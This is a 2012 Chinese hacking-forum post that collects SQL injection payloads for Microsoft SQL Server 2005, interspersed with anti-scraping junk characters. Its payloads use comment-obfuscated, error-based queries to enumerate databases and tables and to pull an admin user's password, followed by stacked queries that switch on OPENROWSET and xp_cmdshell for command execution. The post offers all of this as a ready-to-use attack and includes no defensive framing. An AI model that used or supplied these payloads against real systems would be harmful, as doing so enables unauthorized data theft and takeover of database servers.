找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2662|回复: 0
打印 上一主题 下一主题

MSsql2005注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:19:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
: \! z) k; t/ s5 c; F- S; E
( p2 S2 l, f7 ?  j: H

% n, p6 s; Z' @9 D+ q5 q& D: ]3 i[Copy to clipboard]CODE:
/ D2 N) F; `3 }  }, j/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
5 `( M8 J/ |4 p4 C6 q* z  y- C4 C! s
爆表语句,somedb部份是所要列的数据库,红色数字1累加7 P% @; Z) J' O8 f* v* f& l) e

" F) V5 e  G' v; L. s7 l" i
7 I- {) f5 |; U[Copy to clipboard]CODE:
- j8 c# E, e. K  ?7 _6 c, A9 S/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
3 R+ X" F/ A2 I( V" m$ I5 t  b  r
7 `% i/ c- u& D' H1 C3 @) O爆字段语句,爆表admin里user='icerover'的密码段
& y9 O# z" j* ^8 d5 U2 K
; l  }( {: p" B3 F3 B" _% x
, D  ?1 z0 s- M0 J6 w/ i[Copy to clipboard]CODE:
$ X) W# p% \9 y8 V) \- R! I**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
5 c9 M1 ^/ J! b" _
, @" l3 Q  |, M2 l" A: w' gmssql2005默认没有开xp_cmdshell的,openrowset也不能用
% v% l5 h7 D1 q, b4 p( Z2 ?如果是sa权限,可以这样来开启/ c; ^  |- M' r7 U* N8 v. j
开启openrowset/ \4 B. D* n$ D# g
) h( S! w, J) h! i0 x+ n

# _* k% L0 G3 j$ b+ g* ]# i1 u0 Y' }[Copy to clipboard]CODE:7 [2 m# Q$ `  m+ j" R
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--; B3 F  A2 J# N1 T$ q
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
5 J2 P0 d( r+ v, J2 @# l. S8 b
/ a7 y0 T  z4 R" \开启xp_cmdshell
- z8 a4 g1 B' Z1 I8 c) a1 o
& {0 O4 U8 e4 H) N( K, x; N2 ~# s2 I! @6 N; @
[Copy to clipboard]CODE:
# X! t& S9 r! |* BEXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--% h6 o; r, ]# n8 `
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--1 \" Y/ C5 p5 [7 {2 k( C9 g
; f/ g! f3 @4 _: K
ok,over~~晚安/ \8 ^" Z/ s6 ?% ^% o* d. C" B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表